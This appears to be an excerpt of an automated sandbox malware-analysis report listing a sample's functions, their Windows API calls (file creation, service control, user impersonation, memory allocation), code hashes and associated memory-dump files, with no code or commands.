Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9f24373e69c2f0c9ee7978ae7b7bb815384aa8ea5bc044a7ee81c94b1cd37802
Instruction ID: f9ff1b7a20a63edc1b47a68acb6b9f0c97085610a4fda9977bdf286152686c22
Opcode Fuzzy Hash: 9f24373e69c2f0c9ee7978ae7b7bb815384aa8ea5bc044a7ee81c94b1cd37802
Instruction Fuzzy Hash: 4A01E1F72481097EF2249E50AE55EFB77ADEAC7B30B30452EF801C2640E2A41D054A34

Function 05590D43 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05590DCD

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 9d015a90630425e066704b16e417512f18a73eecaaf6a8cd4748f55175ea71f8
Instruction ID: c5c404471ea90e10a81dd7615fd0f42c095165e803e517f32ab0f88c192964b8
Opcode Fuzzy Hash: 9d015a90630425e066704b16e417512f18a73eecaaf6a8cd4748f55175ea71f8
Instruction Fuzzy Hash: 382134B6C013199FCB14CF99D885BDEFBF4FB88320F14861AD809AB244C738A540CBA4

Function 05590D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05590DCD

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 31a4e46f618f72d9aaa42fc1749d9f1d8f5193b1a4d1d18a8183f2bd03018c2a
Instruction ID: bea25d9c5be09120b5e9dbdc8a365e998540712b9d4a2e5818365418fbaaab07
Opcode Fuzzy Hash: 31a4e46f618f72d9aaa42fc1749d9f1d8f5193b1a4d1d18a8183f2bd03018c2a
Instruction Fuzzy Hash: B82134B6C013199FCB14CF99D884ADEFBF4FB88320F14861AD809AB244C734A540CBA4

Function 007AEDA1 Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(BCE3E524,?,BCE3E524,?,007AED48,00000003), ref: 007AEDEB

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a8efe3dd23e7cacf235ce73dfca227fc87068a1a6caf2a195a9054bc42ef00e9
Instruction ID: eb0c92423eda1e29d42a1cf5791b03bf95b7e54e94095ba74d354e21c6df4535
Opcode Fuzzy Hash: a8efe3dd23e7cacf235ce73dfca227fc87068a1a6caf2a195a9054bc42ef00e9
Instruction Fuzzy Hash: C201D6B310D15AAEF725DE649950BFF37AAEBC7B30B30492EF441C6240C2651D028B34

Function 007AEE10 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(BCE3E524,?,BCE3E524,?,007AED48,00000003), ref: 007AEDEB

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d2a5c2b72c51e6a59c3fc70b3b8f7ddda18adacc85d4acce7e855a1773d96095
Instruction ID: 6579dc8ca5494ced9416462543100e8ea5011d2af53420e1651440c3a0f05cda
Opcode Fuzzy Hash: d2a5c2b72c51e6a59c3fc70b3b8f7ddda18adacc85d4acce7e855a1773d96095
Instruction Fuzzy Hash: 450126B320C166BEE615CE249D90BFF77AADBC7B30F304529F44192642D2651D028A64

Function 05591510 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 05591580

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 6afb27f2fa91dbecafae865f8eb2afe240948934b6250b2c436bf0d3f2ccab2c
Instruction ID: f663a812f02423ecc139a48b2eafafdad5a5c9025fa2cef730fb03b775f1cdd6
Opcode Fuzzy Hash: 6afb27f2fa91dbecafae865f8eb2afe240948934b6250b2c436bf0d3f2ccab2c
Instruction Fuzzy Hash: 4411F4B1D002498FDB10CF9AC545BDEBBF4EB48320F508029E559A3240D778A644CFA5

Function 05591509 Relevance: 1.6, APIs: 1, Instructions: 53serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 05591580

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: fb2a77655e678f48170c14a3dd5506ebb77ebfe608fa02038e57d46205bc932f
Instruction ID: 2b9a081f919a2ac8a6bc6a3b82ff26f990ad4ecd0471c7f07540eed946065541
Opcode Fuzzy Hash: fb2a77655e678f48170c14a3dd5506ebb77ebfe608fa02038e57d46205bc932f
Instruction Fuzzy Hash: 392103B5D003498FDB10CFAAC585BDEBBF4BB48320F10852AE859A7241D738A644CFA5

Function 05591301 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05591367

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 7c18bfad111c365e788d619492b3584748c439f3ad2a31916ea86b602f9bd0ac
Instruction ID: 9bb9992be1076378219b507b4c970f54eedeec57a704ed5f23ae331531365b4f
Opcode Fuzzy Hash: 7c18bfad111c365e788d619492b3584748c439f3ad2a31916ea86b602f9bd0ac
Instruction Fuzzy Hash: 151113B1C003598FDB20DF9AC946BDEBBF8EF49320F14846AD518A3650C778A944CFA5

Function 05591308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05591367

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: d904219526a1749673a13feee7e01d2cbf70bd6af71f056a112576c37f81e91a
Instruction ID: ebd9a20fb98b4df03d663046619f9fe2f5060fd74d6814e24f1103fed2d8bf8b
Opcode Fuzzy Hash: d904219526a1749673a13feee7e01d2cbf70bd6af71f056a112576c37f81e91a
Instruction Fuzzy Hash: 9E1125B1C003598FDB20DF9AC545BDEBBF4EB48320F14842AD518A3240C778A944CFA5

Function 007AEDD1 Relevance: 1.5, APIs: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(BCE3E524,?,BCE3E524,?,007AED48,00000003), ref: 007AEDEB

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0a8295dc9f632471eafe0f362d5876928435bd5bb6c79f04ce66c2a2b8919512
Instruction ID: b9bf4183a0c07e1bd64aaad4804f0e80fb3a5c3323811fa73764bf1e3ef5f28b
Opcode Fuzzy Hash: 0a8295dc9f632471eafe0f362d5876928435bd5bb6c79f04ce66c2a2b8919512
Instruction Fuzzy Hash: 48F0A0B324C1957CF520DA669D20FFF3B9AC7C3B30F340A6EF41186281C2495D468225

Function 0061E74D Relevance: 1.3, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0061F125

Memory Dump Source

Source File: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
